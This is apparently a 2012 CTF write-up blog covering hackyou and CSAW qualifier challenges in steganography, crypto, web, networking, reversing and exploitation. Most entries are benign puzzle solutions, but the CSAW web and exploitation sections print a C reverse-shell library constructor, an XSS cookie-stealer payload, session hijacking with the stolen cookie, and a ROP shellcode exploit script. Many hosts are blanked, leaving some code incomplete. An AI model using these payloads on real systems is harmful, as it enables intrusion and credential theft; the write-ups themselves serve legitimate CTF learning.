for y in xrange(height): # Iterate through each pixel
    for x in xrange(width):
        # pixels[x, y] returns a tuple with RGB vals
        blue_pix = pixels[x, y][2] # Get the blue val
        lsb = bin(blue_pix)[-1] # Get the LSB
        binary_ans += lsb # Append the LSB

# This just converts the binary to ASCII
answer = ''
for i in xrange(len(binary_ans)/8):
    answer += chr(int(binary_ans[i*8:i*8+8], 2))

print answer
This script returned the following string, which was hidden in the image over and over again.
4E34B38257200616FB75CD869B8C3CF0 *** Congrats
You win!
4E34B38257200616FB75CD869B8C3CF0 *** Congrats
You win!
4E34B38257200616FB75CD869B8C3CF0 *** Congrats
You win!
4E34B38257200616FB75CD869B8C3CF0 *
-- suntzu_II

hackyou CTF: Steg 200

This challenge is a picture of a slightly creepy ghost thing (shown below).

When you adjust the Lightness and Saturation of the picture and turn Constrast all the way up (I used Gimp for this), a secret key appears.

The dots are 7 bit ASCII where the two dots is a 1 and the one dot is a 0. This message translates to aint_afraid_of_no_ghosts.

-- suntzu_II

Tuesday, October 16, 2012

hackyou CTF: Steg 100

A cursory reading of the text file in question revealed scattered capital letters within words. A quick script that grabbed all of the capital letters not at the beginning of words is shown below.
import re
# Read the file into a string
text = open('stg100.txt', 'r').read()
# Create a regex to replace all non-letters with
# a space to allow us to split.
letters = re.compile('[^a-zA-Z]+')
words = letters.sub(' ', text).split(' ')

answer = ''
for word in words: # Iterate through the words
    count = -1
    for letter in word: # Iterate the letters
        count += 1
        if count and letter.isupper():
            answer += letter # It is part of the flag

print answer
This script revealed the string FLAGISSEXYSTEGOPANDAS.

-- suntzu_II

hackyou CTF: PPC 200

In this challenge, the task is to try to get the sha1 hash of a 1,048,576 character, of which we have keylogged all but 8 characters. We also have the final md5 hash of the password. The key here is to perform a sort of md5 hash extension to speed up the brute forcing process (there are a max of 99,999,999 possibilities). Luckily, python's md5 library is very useful for this kind of function! Here is my script which read the keylogger file (I actually grepped out some of the file to simplify the process before I ran the python), and then brute forced the password.
import re,md5,hashlib

password = open('bob', 'r').read() # open the simplified file
dec = re.compile(r'[^\d]+')        # regex to eliminate non-number chars
password = dec.sub('', password)   # eliminate the chars

init =           # create an md5 object with the first
                                   # 1,048,568 chars
# Loop through the keyspace
for i in range(0,99999999):   # Print the count every 100,000 iterations
        if i%100000 == 0:     # because I am impatient
                print i
        tmp = init.copy()  # Create a copy of the md5 hash to manipulate
        tmp.update(str(i).zfill(8)) # Do the hash extension with i
        test = tmp.hexdigest()  # Compute the hash
        # If the md5 is correct, we win!
        if test == '287d3298b652c159e654b61121a858e0':
                print 'Answer found!'
                print hashlib.sha1(password+str(i).zfill(8)).hexdigest()
This script finished after about 1 to 2 minutes somewhere around the 68,000,000th try.
-- suntzu_II

hackyou CTF: PPC 300

This challenge was very similar to PPC 100 in that it was supposed to be an anti-human captcha. There was a timed challenge to factor a very large number and send one of the factors to the website. However, the number was also an image, which meant I need to do some OCR. To accomplish this, I used Sage to do the math and pytesser (which uses the Tesseract OCR program) to do the character recognition. I was having trouble getting tesseract to work in wine, so I compiled it from source (which takes FOREVER) and then it was fairly successful! It occasionally turned an 8 into an S and a 0 into an O. But a short time later I had a python script that was running successfully.
import os
from subprocess import *
from pytesser import *
import urllib2, urllib

# A method to ease the calling of commands to the system
def run_cmd(cmd):
        p = Popen(cmd, shell=True, stdout=PIPE)
        output = p.communicate()[0]
        return output

# This gets the html of the captcha
response = urllib2.urlopen('')
html =
# Get the url of the image so I can download it
pic = html.split('img src=\'')[1].split("'")[0]
# Get the trueanswer field which acts as a cookie
trueanswer = html.split("'trueanswer' value='")[1].split("'")[0]
# Download the image and save it to win.png
urllib.urlretrieve(''+pic, "win.png")

print 'Converting image'
# Convert the png to a tif so that pytesser can work
image ='win.png').convert('RGB').save('win.tif')
# Get a handle for the tif
image ='win.tif')
# Convert the image to a string
num = image_to_string(image)
# Isolate the number we want from the rest of the image
num = num.split('\n')[0].split(' ')[1]
print num    # Print the original string
# Replace known image conversion issues with the correct number
num = num.replace('O','0').replace('S', '8').replace('-','')
print num    # Print the corrected string

# Do the math by asking sage to factor our problem
result = run_cmd('sage -c "print factor('+num+')"')
print result
# Get a factor to send to the server
result = result.split(' * ')[0]
print result
print 'Making web request'

# Set up the post variables
values = {
	'captchatype' : 'refactor',
	'trueanswer' : trueanswer,
	'answer' : result

header = {'User-Agent':'Mozilla/4.0'}
data = urllib.urlencode(values)
req = urllib2.Request('', data, header)
response = urllib2.urlopen(req)
print # Read the result!
The result from the web server was
Ok, u are robot
Secret is:
which translates to kill_1_human as 7-bit ASCII.

-- suntzu_II

hackyou CTF: PPC 100

Tasks that fell in the PPC category were supposed to be computationally intensive. PPC 100 was an "Anti-Human Captcha." It was a captcha that asked for two large numbers to be added together and submitted, but it was timed. You had to get it within a certain time limit in order to be considered a 'robot.' So it was time for some python scripting. My winning script is shown below.

import urllib2, urllib

# A unique url here prevents server-side caching with varnish.
# This block grabs a unique equation from the server so that
# we can do the math with as new a result as possible
url = ''
user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'
header = { 'User-Agent' : user_agent }
req = urllib2.Request(url, None, header)
response = urllib2.urlopen(req)
data =

# We have the data and we need to get the trueanswer field which
# acts as a cookie. Then we grab the equation and do the math.
trueanswer = data.split("'trueanswer' value='")[1].split("'")[0]
equation = data.split('</h2>\n')[1].split('<br>')[0]
equation = equation.replace(' ','').replace('\t','')
answer =  eval(equation)

# Create the appropriate POST parameters
values = {
  'captchatype' : 'hugecaptcha',
  'trueanswer' : trueanswer,
  'answer' : answer

# Send the answer and get the response
data = urllib.urlencode(values)
req = urllib2.Request(url, data, header)
response = urllib2.urlopen(req)

# Print the answer

This returned the following string.
Ok, u are robot
Secret is:
This is a set of 7-bit ASCII characters which translates to 'killallhumans'.

-- suntzu_II

Monday, October 15, 2012

hackyou CTF: Web 100

Web 100 was a classic javascript password that was just a complicated formula. The entered password was used to generate the key so you had to actually break the password. Here is the relevant part of the script.
var PasswordIsCorrect = false;
var PasswordPrompt = "Enter the password";
var TodaysSecretPassphrase = "Climbing is dangerous";
var QuoteOfTheDay = "the beige hue on the waters of the loch impressed all, including the zapped french queen, before she heard that symphony again, as kind young arthur wanted. keen oxygen vendor.";
do {
  var SuppliedPassword = prompt(PasswordPrompt);
  if (SuppliedPassword === null) {

  if (SuppliedPassword.length == 12) {
 PasswordIsCorrect = true;
  if (! IsNumber(SuppliedPassword.charAt(0))) {
 PasswordIsCorrect = false;
  if (! IsNumber(SuppliedPassword.charAt(10)) || ! IsNumber(SuppliedPassword.charAt(1))) {
 PasswordIsCorrect = false;
  if (! IsNumber(SuppliedPassword.charAt(6)) || ! IsNumber(SuppliedPassword.charAt(2))) {
 PasswordIsCorrect = false;
  if (Number(SuppliedPassword.charAt(0)) + Number(SuppliedPassword.charAt(1)) + Number(SuppliedPassword.charAt(2)) + Number(SuppliedPassword.charAt(6)) + Number(SuppliedPassword.charAt(10)) != SuppliedPassword.length) {
 PasswordIsCorrect = false;
  if (SuppliedPassword.charAt(7) != PasswordPrompt.charAt(PasswordPrompt.length - 1)) {
 PasswordIsCorrect = false;
  if (SuppliedPassword.charCodeAt(7) != SuppliedPassword.charCodeAt(8) - Number(SuppliedPassword.charAt(0)) / Number(SuppliedPassword.charAt(0))) {
 PasswordIsCorrect = false;
  if (Number(SuppliedPassword.charAt(2)) != Number(SuppliedPassword.charAt(6)) || Number(SuppliedPassword.charAt(6)) != Number(SuppliedPassword.charAt(1))) {
 PasswordIsCorrect = false;
  if (Number(SuppliedPassword.charAt(1)) * Number(SuppliedPassword.charAt(10)) != 0) {
 PasswordIsCorrect = false;
  if (Number(SuppliedPassword.charAt(1)) - Number(SuppliedPassword.charAt(10)) != SuppliedPassword.charAt(3).length) {
 PasswordIsCorrect = false;
  if (Number(SuppliedPassword.charAt(1)) - Number(SuppliedPassword.charAt(10)) != SuppliedPassword.charAt(3).length) {
 PasswordIsCorrect = false;
  if (SuppliedPassword.charAt(11) + SuppliedPassword.charAt(3) + SuppliedPassword.charAt(4) != TodaysSecretPassphrase.substr(Number(SuppliedPassword.charAt(0)) / 2, 3)) {
 PasswordIsCorrect = false;
  if (! IsLowercase(SuppliedPassword.charAt(9))) {
 PasswordIsCorrect = false;
  if (QuoteOfTheDay.indexOf(SuppliedPassword.charAt(9)) != -1) {
 PasswordIsCorrect = false;

  if (! PasswordIsCorrect) {
 PasswordPrompt = "Password incorrect. Repeat the password";
} while (! PasswordIsCorrect);
I solved this by going through the if statements one at a time and constructing my password as I went. All of the if statements result in the PasswordIsCorrect being set to false (except the first one). So let's do it!

1. SuppliedPassword.length == 12
   Obviously the length of the password has to be twelve, so we start with
2. ! IsNumber(SuppliedPassword.charAt(0))
   The first char must be a number.
3. ! IsNumber(SuppliedPassword.charAt(10)) || ! IsNumber(SuppliedPassword.charAt(1))
   The 11th and 2nd char must be a number.
4. ! IsNumber(SuppliedPassword.charAt(6)) || ! IsNumber(SuppliedPassword.charAt(2))
   The 3rd and 7th char must be a number.
5. Number(SuppliedPassword.charAt(0)) + Number(SuppliedPassword.charAt(1)) + Number(SuppliedPassword.charAt(2)) + Number(SuppliedPassword.charAt(6)) + Number(SuppliedPassword.charAt(10)) ! = SuppliedPassword.length
   All of the numbers must add up to twelve.
6. SuppliedPassword.charAt(7) ! = PasswordPrompt.charAt(PasswordPrompt.length - 1)
   The 8th char must be the last char of the string PasswordPrompt, which is the letter 'd'.
7. SuppliedPassword.charCodeAt(7) ! = SuppliedPassword.charCodeAt(8) - Number(SuppliedPassword.charAt(0)) / Number(SuppliedPassword.charAt(0))
   The char at spot 8 must be 1 letter less than the one at 8 (charAt(0)/charAt(0) always equals 1).
8. Number(SuppliedPassword.charAt(2)) ! = Number(SuppliedPassword.charAt(6)) || Number(SuppliedPassword.charAt(6)) ! = Number(SuppliedPassword.charAt(1))
   The number at spot 3 must equal the 7th and the 7th must equal the second. No change.

9. Number(SuppliedPassword.charAt(1)) * Number(SuppliedPassword.charAt(10)) ! = 0
   Either the second char or the 11th must be a 0. Since the second, third, and seventh must be the same, I chose the 10th. The first number must be adjusted to keep the sum of the numbers at 12.
10. Number(SuppliedPassword.charAt(1)) - Number(SuppliedPassword.charAt(10)) != SuppliedPassword.charAt(3).length
   The difference between spot 2 and spot 11 must equal 1. We must then make spots 2, 3, and 7 equal to satisfy an earlier condition. We must then adjust spot 0 so that all the numbers add to 12. There is only one possible solution here so we know we are getting close to the real solution.
11. SuppliedPassword.charAt(11) + SuppliedPassword.charAt(3) + SuppliedPassword.charAt(4) != TodaysSecretPassphrase.substr(Number(SuppliedPassword.charAt(0)) / 2, 3)
   This says that the concatenation of the chars at spots 12, 4, and 5 must equal the substring starting at spot 0 divided by 2. Spot 0 is 9 which is divided by 2 and rounded down to 4 because it is int division. The substring of the passphrase is 'bin' to which we set the chars 12, 4, and 5.
12. ! IsLowercase(SuppliedPassword.charAt(9))
   The 10th char must be lowercase. No change.

13. QuoteOfTheDay.indexOf(SuppliedPassword.charAt(9)) != -1
   The 10th char in our string must not be in the quote of the day (see the script above). I chose the letter 'j'.

We now have the password and we enter it only to find out there as an annoying countdown/self-destruct sequence that destroys the key before we can copy and paste it. I used burpsuite to change the script before it got to my browser so that it took longer to time out which gave me sufficient time to copy and paste the key: n0-evidence-0n1y-this-8030.

-- suntzu_II

hackyou CTF: Crypto 200

This challenge was a bit more of a traditional crypto challenge (Download Here) with a big clue coming in the form of the name of the challenge, XOROWbIu WbI(|)P. The big thing I got from this was the reference to XOR, enter (xortool). At xortool's site they say that the most common character in ASCII is 0x20 so that is the first thing I tested. cry200.txt.enc -c 20
This printed out a key of '\x96\xa4*\xc3\xc4:' which, when applied to the file gave me something close to an answer.
Cong (tula& ons!r hiler=he q' ck b &wn f=1 jum": ove ithe > ........
I noticed that the only every 5th and 6th byte of this message was unintelligible, so I changed the 5th and 6th chars of the key manually in a python script until the message was correct. The script is below.
key = '\x96\xa4*\xc3\x96\x73'
counter = 0
answer = ''
for i in open('cry200.txt', 'rb').read():
    answer += chr(ord(i)^ord(key[counter%6]))
    counter += 1

print answer
Answer: Congratulations! While the quick brown fox jumps over the lazy dog, the plain xor cipher is still very unsecure when the key is much shorter than the message. Your flag: Foxie Dogzie Crypto Pwnd
And that's all there is to it!
-- suntzu_II

Sunday, October 14, 2012

hackyou CTF: Crypto 100

This challenge revolves around a picture of a book with some writing in it. The picture is shown below.

There are a ton of distractions in this picture that caused me to go off and try all sorts of strange decryptions. In the end, it's a ridiculously simple answer. Follow the letters down each column from right to left.


T | T | H | O | H |
F | E | E | U | A |
F | S | B | I | C |
T | T | E | S | K |
W v C v S v T v Y v


-- suntzu_II

Thursday, October 4, 2012

CSAW CTF 2012 Qualifiers - Networking 200

In this challenge, we were given a file, lemieux.pcap, which contained a network capture of web traffic. All we had to do was sort the packets by “info”, search for packets that have “POST”, and one of those packets contains “parties-events”. Open that packet and look in the details and find where it says what the phrase to get into the party is, which is “brooklyn beat box”.

Wednesday, October 3, 2012

CSAW CTF 2012 Qualifiers - Web 500

This challenge was a ton of ajax and whatnot, so after hunting around,  real thing we’re after is that you can externderp in the menu! What is seems to do is use the following POST request when doing a heartbeat check:
   “extenderpurl” : “”
Well, that means that the server is loading something which we have specified. As such, what if we point it to our own file? So I uploaded some executables, hoping they'd execute, to an internet-facing webserver and... ...It says it can’t derp it or something. I can't just send an arbitrary execuatable file. Thus, let's look into what is an extenderptest.node? I downloaded the extenderptest.node file and ran the Linux file command on it:
extenderptest.node: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=0×49ed3236d9e68f7965e90064d05ea2ed2778754b, not stripped
Its a shared 64-bit object file. Shared object files are files which a linker will load into a binary and use. Well, loadable object files are allowed to have initialization functions which are always run first.

 Let's recap - using an ajax POST request, the remote server will download a specified shared object file, include it in whatever program they have running, and send back the output of the program.

What do we have now? We have the ability to serve to the server a shared library file of our choice which by design is allowed to have init functions. We have arbitrary code execution!

 Of course, what i did next was to make a fake externderptest.node shared object file with an init function which loads a reverse shell. Then, look in the /opt/noderp/htdocs/key and winning!

After viewing other solutions to solving this, I must admit that we simply went the route of a library main in C rather than LSE who made a handler for the test() function in C++.

1  #include <arpa inet.h="inet.h"> 2 #include <assert .h=".h">
3  #include <errno .h=".h">
4  #include <netinet in.h="in.h">
5  #include <signal .h=".h">
6  #include <stdlib .h=".h">
7  #include <stdio .h=".h">
8  #include <string .h=".h">
9  #include <sys types.h="types.h">
10 #include <sys socket.h="socket.h">
11 #include <sys wait.h="wait.h">
12 #include <netdb .h=".h">
13 #include <unistd .h=".h">
14 #define MAX 512
15 void __attribute__ ((constructor)) my_load(void);
16 void shell()
17 {
18    int sockfd;
19    int sockfd2;
20    struct sockaddr_in remaddr;
21    struct sockaddr_in remaddr2;
22    char GET[] = "GET /directorytocmd.txt/cmd.txt\n";
23    char RECV[MAX];
24    char IP[] = "";
26    sockfd = socket(PF_INET, SOCK_STREAM, 0);
28    remaddr.sin_family = AF_INET;
29    remaddr.sin_port = htons(9000);
30    remaddr.sin_addr.s_addr = inet_addr(IP);
31    memset(remaddr.sin_zero, 0, sizeof(remaddr.sin_zero));
33    connect(sockfd, (struct sockaddr *)&amp;remaddr, sizeof(struct sockaddr));
34    dup2(sockfd, 0); dup2(sockfd, 1); dup2(sockfd, 2);
35    execl("/bin/bash", "/bin/bash", "-i", NULL);
36    close(sockfd);
37 }
38 void my_load(void)
39 {
40    printf("my_load\n");
41    shell();
42 }
Example driver for the pwn library to make sure it was written right:
1 #include <dlfcn.h>
2 #include <stdio.h>
3 int main( int argc, char** argv[] )
4 {
5    void* foo = dlopen( "/home/b1tSt0rm/csaw2012/", RTLD_NOW );
6    printf("%p\n", foo);
7    return 0;
8 }

Tuesday, October 2, 2012

CSAW CTF Quals: Networking 100

This was a pcap file of telnet traffic. If you opened up the file in wireshark and viewed the TELNET TCP stream, the password was there to be copied and pasted. 100 points!

CSAW CTF Quals: Forensics 500

This was possibly the easiest 500 points of the competition. Open the file in notepad. Copy and paste the readily apparent key... Smile and grin happily to yourself. Continue with your day.

CSAW CTF Quals: Trivia

Google. Learn how to use it...

Trivia - What is the first step of owning a target?

Trivia - What is the name of the Google's dynamic malware analysis tool for Android applications?

Trivia - What is the x86 opcode for and al, 0x24? Put your answer in the form 0xFFFF.

Trivia - Who was the first security researcher to publish the DEP bypass that utilized WriteProcessMemory()?

Trivia - What is the name of Microsoft's sophisticated distributed fuzzing system that utilizes automated debugging, taint analysis, model building, and constaint solving?

CSAW CTF Quals: Recon All

Jordan Wiens (100):

Used Jordan Wiens’ twitter username (psifertex) and found From here, we found the robots.txt which led us to the /csaw directory. Here, there was a riddle.
Some Understanding Becomes Dominant On Manipulation And Inquisitive Naming
Don't bother brute forcing file paths, you'll never find it that way.
However, Some Understanding Becomes Dominant On Manipulation And Inquisitive Naming clearly spells out SUBDOMAIN with its first letters. This led us to look for, which had the key spelled out in ASCII art.

Jeff Jarmoc (100):

We found this one pretty quickly. We downloaded all of the judges pictures and looked at the metadata in them. Jeff Jarmoc's had a finger url in it that when you went to it, spat back a key to you.

Julian Cohen (100):

We checked reddit posts for JulianCohen #HockeyInJune and found

We then checked all recent posts from this account and the most recent post was a link to which had the key.

Yoda (400):

Run whoami on yoda inside the IRC. Win!

Dan Guido (400):

This one took the longest. The steps were:
1. Search everything possible
2. Get bored/defeated
3. Browse /r/netsec
4. Casually search "Dan Guido"
--> Find a comment thread about "salami and cheese". Win!

CSAW CTF Quals: Reversing 500

This one was a bit more of a headache. We start with an mrom and an mrom.tmp… Let’s start by running the file command:

We see that one of these is a BIOS ROM and the other is an ELF. Our team spent an enormous amount of time trying to reverse the ELF when we really should have just ignored it. It turns out that the elf is really just debugging symbols for what turns our to be an iPXE ROM. Next, let’s run strings to see if we can get more info on the files. We immediately noticed:

This shows that the .mrom is an iPXE rom.
After looking around their site for a while, we noticed a vmware installation guide that should let us play with the rom.
       *For more info, see here
To summarize the article, the site tells us that the 8086100f naming convention is for e1000-type network adapters. Blindly following the guide then leads us to create a blank vm and add the following lines to it:
   ethernet0.virtualDev = “e1000”
   ethernet0.opromsize = 262144
   e1000bios.filename = “[your path to]/8086100f.mrom”
Now we can start the vm and press ctrl-b to enter iPXE.

After trying to connect, we get an error that says we don’t have enough room. So, increase the oprom size (see above) to something larger (ex. 26214400) and restart. Now, the ROM is able to successfully connect to Once it connects, it begins to download a kernel from and boots into it. Here, we found a flag.txt file. Yay! But sadly it’s a fake. Catting this flag shows something along the lines of “This is not the initrd you are looking for”... Hilarious aren’t they?

Looking at the download link, we see a very obvious include_flag=0. Most of the URI string was encrypted in the binary, but after some searching we were able to find:

Patch the g=0 to g=1, restart the vm, press ctrl-b, and let it download the flag-included kernel. Cat the flag.txt file in the root directory and win!

Hope you enjoyed the write-up!

-- d1r3w0lf

CSAW CTF Quals: Forensics 200 - 2

After we completed Forensics200 - version 1, what needed to happen for version 2 was obvious. All the CRC’s must be wrong except one (the opposite of version 1). We had already found a tool that alerted on incorrect checksums, so we found a tool that only reported correct CRC's (PngMeta available here). The reported name was the correct key.

-- syreal

CSAW CTF Quals: Forensics 200 - 1

Quite a simple challenge.

When you put the version1 file into a program called tweakPNG, it gave you an error for the wrong checksum at a certain location. That checksum was for the name takeuchi gregory. Given the picture was a picture of words saying “one of these things is not like the other,” I assumed that the wrong checksum is what made that name different, and that that name was the key. It was.

-- syreal

CSAW CTF Quals: Reversing 400

Right from the start, we popped the ELF into a VM and decided to run it. Doing this, we see that it pops out with an encrypted key.

Assuming this is like reversing 100, we decided to pop it into IDA and see if we could spot a Decrypt function.

When you first open the ELF in IDA, it looks something like this:

Scrolling down, we see where it encrypts and kicks out. Directly after, there’s a decryption function that never gets touched…

Looks like another NOP patch to me…

Note: To get this menu to show up in IDA, edit idagui.cfg to include the line:
Patch over 4006BE with some nops and commit the changes.

And viola:

-- d1r3w0lf

CSAW CTF Quals: Web 400

This challenge was apparently the organizers' crypto challenge for this year (and thank goodness 'cause last year's were a little too easy). The important thing this year is that it also involved a bit of XSS, but first you had to beat the crypto.

In this particular case, you didn't need to know how the crypto worked, you just had to notice the pattern. The crypto was a rolling crypto that encoded each chunk with a certain number of cycles so that you need to decrypt your payload 2*length_of_payload/8 - 1 times before it is unencrypted. This means that you need to unencrypt your XSS attack 2*length_of_payload/8-2 times before you send it to your target (Dog) so that he will execute your script. We just encoded a simple cookie stealer type attack and set up a netcat listener at our IP Address. It is important to note that your payload must be a length of modulo 8 (this the extra spaces inside the script tags).

<script>document.location=\"\" + document.cookie;   </script>

It is a serious pain to do all of this by hand, however, because the web browser encrypts to some weird characters and has trouble trying to display a lot of characters. I solved this by writing a python script which made three seperate request. First it would make a post request to create the message for myself to read. It would then make a request to the inbox page so that it could read which message is new. Finally it would get the results of the message. This greatly sped u8p the process of getting a good message to send. The python script is shown below.
import urllib2, urllib, time

opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'PHPSESSID=5fjuoccd89u5r0ka9itea37il6'))
#f ="")

text = open('last_msg', 'rb').read().strip('\x0a')
#text = open('maybe_key', 'rb').read()
#text = ""

url = ''
values = {
      'to' : "bobby",
      'key' : "Catsareawesome",
      'title' : "Ok.jpg, encoded my key with your",
      'text' : text

data = urllib.urlencode(values)
# req = urllib2.Request(url+data, None, header) # GET works fine
user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'
header = { 'User-Agent' : user_agent, 'Cookie' : 'PHPSESSID=5fjuoccd89u5r0ka9itea37il6' }
req = urllib2.Request(url, data, header)  # POST request doesn't not work
response = urllib2.urlopen(req)

print 'Request sent sleeping'
opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'PHPSESSID=5fjuoccd89u5r0ka9itea37il6'))
#f ="")

url = ''
f =
downloadURL ='')[1].split('')[0].split('a href="')[1].split('"')[0].strip('\x0a\x0d')

f =''+downloadURL)

open('last_msg','w').write('')[1].split('')[0].strip('\x0a\x0d') )

Now that we have sent Dog a message that sends us his cookie, we are halfway there. We must now become Dog. We set our PHP session id to the stolen cookie and become Dog. We were very sad to see that the key was not immediately found in the webpage. We did however, see a bunch of messages between Cat and Dog. We had to find the correct keys and decrypt the messages between the two, and one of them had the key.

In summary, lots of encryption and decryption of messages, a bit of XSS and you win! Cool challenge, lots of work.

  -- suntzu_II

CSAW CTF Quals: Networking 400

This challenge was so much simpler than we tried to make it. We ended up solving all but this challenge in the first 19 hours of the competition (minus the extra few challenges they put up at the 24 hour point) and we spent the rest of the competition mangling this pcap in every which way. We wrote a script which corrected all of the CRC's in the pcap so that it was readable by wireshark and tshark. We took the data and started messing with all of the voltages and such. But all of this is completely barking up the wrong tree.

It turns out that the pcap given to us is a copy of one on the wireshark website with all of the dates changed (which broke the checksums). The link is provided below.

Wireshark pcap

At this point we started looking at all of the differences between the files. We tried looking at all the hex values, tried xoring things, but none of it worked. Finally, someone on our team noticed that, aside from the final packet from 1970, every single other packet was from one of two dates, the 21st or 22nd of december. If you take every date from the pcap in order and assign a 0 or a 1 based on the date of the packet, then you end up with an ASCII string that is in binary. Just plug it into a translator, truncate the result to 128 characters (because the website told us to) and submit! That is all there is to it....

  -- suntzu_II

CSAW CTF Quals: Networking 300

In this challenge all they gave was a pcap file called dongle.pcap that was a network capture of usb traffic. It took us a while to figure out what was happening until we found a packet where the device sending all the traffic identified itself by vendor and device ID. From here we did a simple google search and found that the device was a Teensyduino Keyboard. We downloaded the code that goes along with this device and were able to make a mapping of bytes to keystrokes. The tshark command used was:

tshark -r dongle.pcap -R "usb.transfer_type == 1 && usb.endpoint_number.direction == 1 && usb.device_address == 26" -T fields -e usb.capdata > usbdata

This command put all of the usb traffic data into a file called usbdata. Then we made a python script which parsed the data and converted it into keystrokes.
import binascii

data = open('bob', 'r').read().split('\n')

keys = {"4":"A","5":"B","6":"C","7":"D","8":"E","9":"F","10":"G","11":"H","12":"I","13":"J","14":"K","15":"L","16":"M","17":"N","18":"O","19":"P","20":"Q","21":"R","22":"S","23":"T","24":"U","25":"V","26":"W","27":"X","28":"Y","29":"Z","30":"1","31":"2","32":"3","33":"4","34":"5","35":"6","36":"7","37":"8","38":"9","39":"0","40":"ENTER","41":"ESC","42":"BACKSPACE","43":"TAB","44":"SPACE","45":"MINUS","46":"EQUAL","47":"LEFT_BRACE","48":"RIGHT_BRACE","49":"BACKSLASH","50":"NUMBER","51":"SEMICOLON","52":"QUOTE","53":"TILDE","54":"COMMA","55":"PERIOD","56":"SLASH","57":"CAPS_LOCK","58":"F1","59":"F2","60":"F3","61":"F4","62":"F5","63":"F6","64":"F7","65":"F8","66":"F9","67":"F10","68":"F11","69":"F12","70":"PRINTSCREEN","71":"SCROLL_LOCK","72":"PAUSE","73":"INSERT","74":"HOME","75":"PAGE_UP","76":"DELETE","77":"END","78":"PAGE_DOWN","79":"RIGHT","80":"LEFT","81":"DOWN","82":"UP","83":"NUM_LOCK","84":"EYPAD_SLASH","85":"EYPAD_ASTERIX","86":"EYPAD_MINUS","87":"EYPAD_PLUS","88":"EYPAD_ENTER","89":"EYPAD_1","90":"EYPAD_2","91":"EYPAD_3","92":"EYPAD_4","93":"EYPAD_5","94":"EYPAD_6","95":"EYPAD_7","96":"EYPAD_8","97":"EYPAD_9","98":"EYPAD_0","99":"EYPAD_PERIOD",}

bob = ''
counter = 0
for line in data:
 if ':' in line:
  counter += 1
  l_bytes = line.split(':')
  breakout = True
  for i in l_bytes:
   if not i == '00':
    breakout = False
  if not breakout: 
   #print l_bytes
   if l_bytes[0] == '02':
    print 'SHIFT',
   val = int(l_bytes[2],16)
   print keys[str(val)],

When we run this program, it outputs the following file. (It has been prettified).

rxterm -geometry 12x1+0+0 ENTER echo K ENTER 
rxterm -geometry 12x1+75+0 ENTER echo E ENTER 
rxterm -geometry 12x1+150+0 ENTER echo Y ENTER 
rxterm -geometry 12x1+225+0 ENTER echo { ENTER 
rxterm -geometry 12x1+300+0 ENTER echo C ENTER 
rxterm -geometry 12x1+375+0 ENTER echo 4 ENTER 
rxterm -geometry 12x1+450+0 ENTER echo 8 ENTER 
rxterm -geometry 12x1+525+0 ENTER echo B ENTER 
rxterm -geometry 12x1+600+0 ENTER echo A ENTER 
rxterm -geometry 12x1+675+0 ENTER echo 9 ENTER 
rxterm -geometry 12x1+0+40 ENTER echo 9 ENTER 
rxterm -geometry 12x1+75+40 ENTER echo 3 ENTER 
rxterm -geometry 12x1+150+40 ENTER echo D ENTER 
rxterm -geometry 12x1+225+40 ENTER echo 3 ENTER 
rxterm -geometry 12x1+300+40 ENTER echo 5 ENTER 
rxterm -geometry 12x1+450+40 ENTER echo C ENTER 
rxterm -geometry 12x1+375+40 ENTER echo 3 ENTER 
rxterm -geometry 12x1+525+40 ENTER echo A ENTER 
rxterm -geometry 12x1+600+40 ENTER echo } ENTER

We got stuck here for a while because this key did not work. Eventually, we got a fresh pair of eyes that noticed the 'C' and the '3' needed to be switch because of where the window appears with the geometry offsets of the xterm commands. The final key was: key{c48ba993d353ca}.

  -- suntzu_II

CSAW CTF Quals: Exploitation 500

This challenge was basically a trivia game where it asked you a question and you could get it right or wrong. If you got it wrong it would ask you the question again and you could overflow a buffer on the second send. For the life of me, I cannot figure out a good reason for them to be copy the number of bytes received from a large buffer into a smaller buffer, but they do it. So when they copy everything in the second question, we can just overwrite the return address of this method. The relevant code is shown below.
char buf[76];
char last_buf[0x28];
char huge_buf[0x400];

num_recvd = 0;
num_recvd = recv(fd, &buf, 0×7Cu, 0);
addn(&buf, num_recvd);
v6 = v(&buf);
if ( v6 == 1 )
sques(fd, 2);
num_recvd = recv(fd, huge_buf, 0×400u, 0);
addn(huge_buf, num_recvd);

// This is the important line
memcpy(&last_buf, huge_buf, 4 * ((unsigned int)num_recvd >> 2)); 

v6 = v(&last_buf);
if ( v6 == 1 )
return lose(fd);

After that it was a simple ROP-style attack where we called recv to a RWX section of memory located at 0x0804B000. Send in some shellcode and win! Our winning python script,, is shown below.
import socket, binascii, time

def recv(s):
        print s.recv(1024)

def endian(s):
 if len(s) < 8:
  s = s.zfill(8)
 return s[6:8]+s[4:6]+s[2:4]+s[0:2]

def int2hex(integer):
 if integer < 0:
  integer = 0xFFFFFFFF+integer+1
 return hex(integer)[2:].zfill(8).strip('L')

s = socket.socket()
#s.connect(('', 12345))
s.connect(('', 12345))


sh = open('payload').read()

win = 'a'*60
win += binascii.unhexlify(endian('08048760')) # Address of recv
win += binascii.unhexlify(endian('0804B000')) # Return address from recv
win += binascii.unhexlify(endian(int2hex(4))) # Put our fd on stack
win += binascii.unhexlify(endian('0804B000')) # Put address to recv to on stack
win += binascii.unhexlify(endian(int2hex(len(sh)+1))) # Length of recv
win += binascii.unhexlify(endian(int2hex(0))) # recv flags
win += '\n'

print win, len(win)
s.sendall(win) # send our payload
s.sendall(sh+'\n') # send our shellcode to the recv we set up

  -- suntzu_II

Monday, October 1, 2012

CSAW CTF Quals: Exploitation 400

First, before we begin, I must say this. THIS IS NOT A STRING FORMAT ATTACK! Kind of. It turns out that this challenge has a format string that we can use to generate more characters than the buffer can handle, leading to an overwriting of a return address, giving us control of EIP. The real trick with this one is figuring out where to put stuff in this attack.

The way that we used the format string to overflow the stack was by using '%8c' within our payload. This writes 8 garbage characters, but takes up far fewer bytes of the recv than that. This let us write a lot of characters to the buffer and overflow it. But what to do with the return address?

We kind of derped around a bit trying to do a recv to a big chunk RWX memory in the program but ran into a lot of troubles with null bytes (because it's doing string operations). We eventually realized that there was a reference to the buffer that our initial sent payload at the constant address 0x0804b120 and since the stack is executable, we could just return there to win.

